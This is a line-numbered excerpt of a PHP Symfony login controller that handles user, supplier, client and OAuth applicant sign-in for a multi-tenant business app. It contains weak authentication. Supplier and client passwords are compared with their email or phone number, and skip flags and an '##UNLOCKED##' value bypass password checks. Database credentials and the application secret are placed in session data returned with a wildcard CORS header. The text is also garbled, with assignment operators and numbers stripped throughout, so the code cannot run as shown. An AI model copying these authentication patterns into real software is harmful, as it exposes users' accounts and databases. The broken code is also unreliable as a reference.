  3760.                                 $oAuthData['emailVerified'],
  3761.                                 $oAuthData['type']
  3762.                             );
  3763.                             if ($add_user['success'] == true) {
  3764.                                 $firstLogin 1;
  3765.                                 $user $add_user['user'];
  3766.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3767.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3768.                                         ->setFrom('registration@entity.innobd.com')
  3769.                                         ->setTo($user->getEmail())
  3770.                                         ->setBody(
  3771.                                             $this->renderView(
  3772.                                                 '@Application/email/user/registration_karbar.html.twig',
  3773.                                                 array('name' => $request->request->get('name'),
  3774.                                                     //                                                    'companyData' => $companyData,
  3775.                                                     //                                                    'userName'=>$request->request->get('email'),
  3776.                                                     //                                                    'password'=>$request->request->get('password'),
  3777.                                                 )
  3778.                                             ),
  3779.                                             'text/html'
  3780.                                         );
  3781.                                     /*
  3782.                                                        * If you also want to include a plaintext version of the message
  3783.                                                       ->addPart(
  3784.                                                           $this->renderView(
  3785.                                                               'Emails/registration.txt.twig',
  3786.                                                               array('name' => $name)
  3787.                                                           ),
  3788.                                                           'text/plain'
  3789.                                                       )
  3790.                                                       */
  3791.                                     //            ;
  3792.                                     $this->get('mailer')->send($emailmessage);
  3793.                                 }
  3794.                             }
  3795.                         }
  3796.                     }
  3797.                 } else {
  3798.                     $data = array();
  3799.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3800.                         array(
  3801.                             'email' => $request->request->get('username')
  3802.                         )
  3803.                     );
  3804.                     if (!$user) {
  3805.                         $message "Wrong Email";
  3806.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3807.                             return new JsonResponse(array(
  3808.                                 'uid' => $session->get(UserConstants::USER_ID),
  3809.                                 'session' => $session,
  3810.                                 'success' => false,
  3811.                                 'errorStr' => $message,
  3812.                                 'session_data' => [],
  3813.                             ));
  3814.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3815.                             //                    return $response;
  3816.                         }
  3817.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3818.                             "message" => $message,
  3819.                             'page_title' => "Login",
  3820.                             'gocList' => $gocDataList,
  3821.                             'gocId' => $gocId
  3822.                         ));
  3823.                     }
  3824.                     if ($user) {
  3825.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3826.                             $message "Sorry, Your Account is Deactivated";
  3827.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3828.                                 return new JsonResponse(array(
  3829.                                     'uid' => $session->get(UserConstants::USER_ID),
  3830.                                     'session' => $session,
  3831.                                     'success' => false,
  3832.                                     'errorStr' => $message,
  3833.                                     'session_data' => [],
  3834.                                 ));
  3835.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3836.                                 //                    return $response;
  3837.                             }
  3838.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3839.                                 "message" => $message,
  3840.                                 'page_title' => "Login",
  3841.                                 'gocList' => $gocDataList,
  3842.                                 'gocId' => $gocId
  3843.                             ));
  3844.                         }
  3845.                     }
  3846.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3847.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3848.                         $message "Wrong Email/Password";
  3849.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3850.                             return new JsonResponse(array(
  3851.                                 'uid' => $session->get(UserConstants::USER_ID),
  3852.                                 'session' => $session,
  3853.                                 'success' => false,
  3854.                                 'errorStr' => $message,
  3855.                                 'session_data' => [],
  3856.                             ));
  3857.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3858.                             //                    return $response;
  3859.                         }
  3860.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3861.                             "message" => $message,
  3862.                             'page_title' => "Login",
  3863.                             'gocList' => $gocDataList,
  3864.                             'gocId' => $gocId
  3865.                         ));
  3866.                     }
  3867.                 }
  3868.                 if ($user) {
  3869.                     //set cookie
  3870.                     if ($remember_me == 1)
  3871.                         $session->set('REMEMBERME'1);
  3872.                     else
  3873.                         $session->set('REMEMBERME'0);
  3874.                     $userType $user->getUserType();
  3875.                     // Entity User
  3876.                     $userId $user->getUserId();
  3877.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3878.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3879.                     $session->set('firstLogin'$firstLogin);
  3880.                     $session->set(UserConstants::USER_TYPE$userType);
  3881.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3882.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3883.                     $session->set('oAuthImage'$user->getOAuthImage());
  3884.                     $session->set(UserConstants::USER_NAME$user->getName());
  3885.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3886.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3887.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3888.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3889.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3890.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3891.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3892.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3893.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3894.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3895.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3896.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3897.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3898.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3899.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3900.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3901.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3902.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3903.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3904.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3905.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3906.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3907.                     $route_list_array = [];
  3908.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3909.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3910.                     $loginID EntityUserM::addEntityUserLoginLog(
  3911.                         $em_goc,
  3912.                         $userId,
  3913.                         $request->server->get("REMOTE_ADDR"),
  3914.                         0,
  3915.                         $deviceId,
  3916.                         $oAuthData['token'],
  3917.                         $oAuthData['type']
  3918.                     );
  3919.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3920.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3921.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3922.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3923.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3924.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3925.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3926.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3927.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3928.                     $appIdList json_decode($user->getUserAppIdList());
  3929.                     if ($appIdList == null)
  3930.                         $appIdList = [];
  3931.                     $companyIdListByAppId = [];
  3932.                     $companyNameListByAppId = [];
  3933.                     $companyImageListByAppId = [];
  3934.                     if (!in_array($user->getUserAppId(), $appIdList))
  3935.                         $appIdList[] = $user->getUserAppId();
  3936.                     foreach ($appIdList as $currAppId) {
  3937.                         if ($currAppId == $user->getUserAppId()) {
  3938.                             foreach ($company_id_list as $index_company => $company_id) {
  3939.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3940.                                 $app_company_index $currAppId '_' $company_id;
  3941.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3942.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3943.                             }
  3944.                         } else {
  3945.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3946.                                 $this->getDoctrine()->getManager('company_group'),
  3947.                                 $gocEnabled,
  3948.                                 $currAppId
  3949.                             );
  3950.                             if (!empty($dataToConnect)) {
  3951.                                 $connector $this->container->get('application_connector');
  3952.                                 $connector->resetConnection(
  3953.                                     'default',
  3954.                                     $dataToConnect['dbName'],
  3955.                                     $dataToConnect['dbUser'],
  3956.                                     $dataToConnect['dbPass'],
  3957.                                     $dataToConnect['dbHost'],
  3958.                                     $reset true
  3959.                                 );
  3960.                                 $em $this->getDoctrine()->getManager();
  3961.                                 $companyList Company::getCompanyListWithImage($em);
  3962.                                 foreach ($companyList as $c => $dta) {
  3963.                                     //                                $company_id_list[]=$c;
  3964.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3965.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3966.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3967.                                     $app_company_index $currAppId '_' $c;
  3968.                                     $company_locale $companyList[$c]['locale'];
  3969.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3970.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3971.                                 }
  3972.                             }
  3973.                         }
  3974.                     }
  3975.                     $session->set('appIdList'$appIdList);
  3976.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3977.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3978.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3979.                     $branchIdList json_decode($user->getUserBranchIdList());
  3980.                     $branchId $user->getUserBranchId();
  3981.                     $session->set('branchIdList'$branchIdList);
  3982.                     $session->set('branchId'$branchId);
  3983.                     if ($user->getAllModuleAccessFlag() == 1)
  3984.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3985.                     else
  3986.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3987.                     $session_data = array(
  3988.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3989.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3990.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3991.                         'firstLogin' => $firstLogin,
  3992.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3993.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3994.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3995.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3996.                         'oAuthImage' => $session->get('oAuthImage'),
  3997.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3998.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3999.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  4000.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  4001.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  4002.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  4003.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  4004.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  4005.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  4006.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  4007.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  4008.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  4009.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4010.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4011.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4012.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4013.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4014.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4015.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4016.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4017.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4018.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4019.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4020.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4021.                         //new
  4022.                         'appIdList' => $session->get('appIdList'),
  4023.                         'branchIdList' => $session->get('branchIdList'null),
  4024.                         'branchId' => $session->get('branchId'null),
  4025.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4026.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4027.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4028.                     );
  4029.                     $session_data $this->filterClientSessionData($session_data);
  4030.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4031.                     $token $tokenData['token'];
  4032.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4033.                         $session->set('remoteVerified'1);
  4034.                         $response = new JsonResponse(array(
  4035.                             'token' => $token,
  4036.                             'uid' => $session->get(UserConstants::USER_ID),
  4037.                             'session' => $session,
  4038.                             'success' => true,
  4039.                             'session_data' => $session_data,
  4040.                         ));
  4041.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4042.                         return $response;
  4043.                     }
  4044.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4045.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4046.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4047.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4048.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4049.                                 return $this->redirect($red);
  4050.                             }
  4051.                         } else {
  4052.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4053.                         }
  4054.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4055.                         return $this->redirectToRoute("dashboard");
  4056.                     else
  4057.                         return $this->redirectToRoute($user->getDefaultRoute());
  4058. //                    if ($request->server->has("HTTP_REFERER")) {
  4059. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4060. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4061. //                        }
  4062. //                    }
  4063. //
  4064. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4065. //                    if ($request->request->has('referer_path')) {
  4066. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4067. //                            return $this->redirect($request->request->get('referer_path'));
  4068. //                        }
  4069. //                    }
  4070.                     //                    if($request->request->has('gocId')
  4071.                 }
  4072.             } else {
  4073.                 if ($specialLogin == 1) {
  4074.                 } else if (strpos($uname'SID-') !== false) {
  4075.                     $specialLogin 1;
  4076.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4077.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4078.                     //*** supplier id will be last 6 DIgits
  4079.                     $str_app_id_supplier_id substr($uname4);
  4080.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4081.                     {
  4082.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4083.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4084.                     }
  4085.                     //                else
  4086.                     //                {
  4087.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4088.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4089.                     //                }
  4090.                 } else if (strpos($uname'CID-') !== false) {
  4091.                     $specialLogin 1;
  4092.                     $userType UserConstants::USER_TYPE_CLIENT;
  4093.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4094.                     //*** supplier id will be last 6 DIgits
  4095.                     $str_app_id_client_id substr($uname4);
  4096.                     $clientId = ($str_app_id_client_id) % 1000000;
  4097.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4098.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4099.                     $specialLogin 1;
  4100.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4101.                     $isApplicantLogin 1;
  4102.                     if ($oAuthData) {
  4103.                         $email $oAuthData['email'];
  4104.                         $userName $email;
  4105. //                        $userName = explode('@', $email)[0];
  4106. //                        $userName = str_split($userName);
  4107. //                        $userNameArr = $userName;
  4108.                     } else if (strpos($uname'APP-') !== false) {
  4109.                         $email $uname;
  4110.                         $userName substr($email4);
  4111. //                        $userNameArr = str_split($userName);
  4112. //                        $generatedIdFromAscii = 0;
  4113. //                        foreach ($userNameArr as $item) {
  4114. //                            $generatedIdFromAscii += ord($item);
  4115. //                        }
  4116. //
  4117. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4118. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4119. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4120.                     } else {
  4121.                         $email $uname;
  4122.                         $userName $uname;
  4123. //                            $userName = substr($email, 4);
  4124. //                        $userName = explode('@', $email)[0];
  4125. //                            $userNameArr = str_split($userName);
  4126.                     }
  4127.                 }
  4128.                 $data = array();
  4129.                 if ($hasGoc == 1) {
  4130.                     if ($gocId != && $gocId != "") {
  4131. //                        $gocId = $request->request->get('gocId');
  4132.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4133.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4134.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4135.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4136.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4137.                         $connector $this->container->get('application_connector');
  4138.                         $connector->resetConnection(
  4139.                             'default',
  4140.                             $gocDataList[$gocId]['dbName'],
  4141.                             $gocDataList[$gocId]['dbUser'],
  4142.                             $gocDataList[$gocId]['dbPass'],
  4143.                             $gocDataList[$gocId]['dbHost'],
  4144.                             $reset true
  4145.                         );
  4146.                     } else if ($appId != && $appId != "") {
  4147.                         $gocId $request->request->get('gocId');
  4148.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4149.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4150.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4151.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4152.                         $gocId $gocDataListByAppId[$appId]['id'];
  4153.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4154.                         $connector $this->container->get('application_connector');
  4155.                         $connector->resetConnection(
  4156.                             'default',
  4157.                             $gocDbName,
  4158.                             $gocDbUser,
  4159.                             $gocDbPass,
  4160.                             $gocDbHost,
  4161.                             $reset true
  4162.                         );
  4163.                     }
  4164.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4165.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4166.                     if ($gocId != && $gocId != "") {
  4167.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4168.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4169.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4170.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4171.                         $connector $this->container->get('application_connector');
  4172.                         $connector->resetConnection(
  4173.                             'default',
  4174.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4175.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4176.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4177.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4178.                             $reset true
  4179.                         );
  4180.                     }
  4181.                 }
  4182.                 $session $request->getSession();
  4183.                 $em $this->getDoctrine()->getManager();
  4184.                 //will work on later on supplier login
  4185.                 if ($specialLogin == 1) {
  4186.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4187.                         //validate supplier
  4188.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4189.                             ->findOneBy(
  4190.                                 array(
  4191.                                     'supplierId' => $supplierId
  4192.                                 )
  4193.                             );
  4194.                         if (!$supplier) {
  4195.                             $message "Wrong UserName";
  4196.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4197.                                 return new JsonResponse(array(
  4198.                                     'uid' => $session->get(UserConstants::USER_ID),
  4199.                                     'session' => $session,
  4200.                                     'success' => false,
  4201.                                     'errorStr' => $message,
  4202.                                     'session_data' => [],
  4203.                                 ));
  4204.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4205.                                 //                    return $response;
  4206.                             }
  4207.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4208.                                 "message" => $message,
  4209.                                 'page_title' => "Login",
  4210.                                 'gocList' => $gocDataList,
  4211.                                 'gocId' => $gocId
  4212.                             ));
  4213.                         }
  4214.                         if ($supplier) {
  4215.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4216.                                 $message "Sorry, Your Account is Deactivated";
  4217.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4218.                                     return new JsonResponse(array(
  4219.                                         'uid' => $session->get(UserConstants::USER_ID),
  4220.                                         'session' => $session,
  4221.                                         'success' => false,
  4222.                                         'errorStr' => $message,
  4223.                                         'session_data' => [],
  4224.                                     ));
  4225.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4226.                                     //                    return $response;
  4227.                                 }
  4228.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4229.                                     "message" => $message,
  4230.                                     'page_title' => "Login",
  4231.                                     'gocList' => $gocDataList,
  4232.                                     'gocId' => $gocId
  4233.                                 ));
  4234.                             }
  4235.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4236.                                 //pass ok proceed
  4237.                             } else {
  4238.                                 if ($skipPassword == 1) {
  4239.                                 } else {
  4240.                                     $message "Wrong Email/Password";
  4241.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4242.                                         return new JsonResponse(array(
  4243.                                             'uid' => $session->get(UserConstants::USER_ID),
  4244.                                             'session' => $session,
  4245.                                             'success' => false,
  4246.                                             'errorStr' => $message,
  4247.                                             'session_data' => [],
  4248.                                         ));
  4249.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4250.                                         //                    return $response;
  4251.                                     }
  4252.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4253.                                         "message" => $message,
  4254.                                         'page_title' => "Login",
  4255.                                         'gocList' => $gocDataList,
  4256.                                         'gocId' => $gocId
  4257.                                     ));
  4258.                                 }
  4259.                             }
  4260.                             $jd = [$supplier->getCompanyId()];
  4261.                             if ($jd != null && $jd != '' && $jd != [])
  4262.                                 $company_id_list $jd;
  4263.                             else
  4264.                                 $company_id_list = [1];
  4265.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4266.                             foreach ($company_id_list as $c) {
  4267.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4268.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4269.                             }
  4270.                             $user $supplier;
  4271.                         }
  4272.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4273.                         //validate supplier
  4274.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4275.                             ->findOneBy(
  4276.                                 array(
  4277.                                     'clientId' => $clientId
  4278.                                 )
  4279.                             );
  4280.                         if (!$client) {
  4281.                             $message "Wrong UserName";
  4282.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4283.                                 return new JsonResponse(array(
  4284.                                     'uid' => $session->get(UserConstants::USER_ID),
  4285.                                     'session' => $session,
  4286.                                     'success' => false,
  4287.                                     'errorStr' => $message,
  4288.                                     'session_data' => [],
  4289.                                 ));
  4290.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4291.                                 //                    return $response;
  4292.                             }
  4293.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4294.                                 "message" => $message,
  4295.                                 'page_title' => "Login",
  4296.                                 'gocList' => $gocDataList,
  4297.                                 'gocId' => $gocId
  4298.                             ));
  4299.                         }
  4300.                         if ($client) {
  4301.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4302.                                 $message "Sorry, Your Account is Deactivated";
  4303.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4304.                                     return new JsonResponse(array(
  4305.                                         'uid' => $session->get(UserConstants::USER_ID),
  4306.                                         'session' => $session,
  4307.                                         'success' => false,
  4308.                                         'errorStr' => $message,
  4309.                                         'session_data' => [],
  4310.                                     ));
  4311.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4312.                                     //                    return $response;
  4313.                                 }
  4314.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4315.                                     "message" => $message,
  4316.                                     'page_title' => "Login",
  4317.                                     'gocList' => $gocDataList,
  4318.                                     'gocId' => $gocId
  4319.                                 ));
  4320.                             }
  4321.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4322.                                 //pass ok proceed
  4323.                             } else {
  4324.                                 if ($skipPassword == 1) {
  4325.                                 } else {
  4326.                                     $message "Wrong Email/Password";
  4327.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4328.                                         return new JsonResponse(array(
  4329.                                             'uid' => $session->get(UserConstants::USER_ID),
  4330.                                             'session' => $session,
  4331.                                             'success' => false,
  4332.                                             'errorStr' => $message,
  4333.                                             'session_data' => [],
  4334.                                         ));
  4335.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4336.                                         //                    return $response;
  4337.                                     }
  4338.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4339.                                         "message" => $message,
  4340.                                         'page_title' => "Login",
  4341.                                         'gocList' => $gocDataList,
  4342.                                         'gocId' => $gocId
  4343.                                     ));
  4344.                                 }
  4345.                             }
  4346.                             $jd = [$client->getCompanyId()];
  4347.                             if ($jd != null && $jd != '' && $jd != [])
  4348.                                 $company_id_list $jd;
  4349.                             else
  4350.                                 $company_id_list = [1];
  4351.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4352.                             foreach ($company_id_list as $c) {
  4353.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4354.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4355.                             }
  4356.                             $user $client;
  4357.                         }
  4358.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4359.                         $em $this->getDoctrine()->getManager('company_group');
  4360.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4361.                         if ($oAuthData) {
  4362.                             $oAuthEmail $oAuthData['email'];
  4363.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4364.                             // Multi-email aware: match the OAuth email against ANY email tagged on
  4365.                             // the account (comma list, email OR oAuthEmail) â€” not exact single value.
  4366.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  4367.                             if (!$user)
  4368.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4369.                         } else {
  4370.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4371.                             if (!$user)
  4372.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  4373.                             if (!$user)
  4374.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4375.                         }
  4376.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
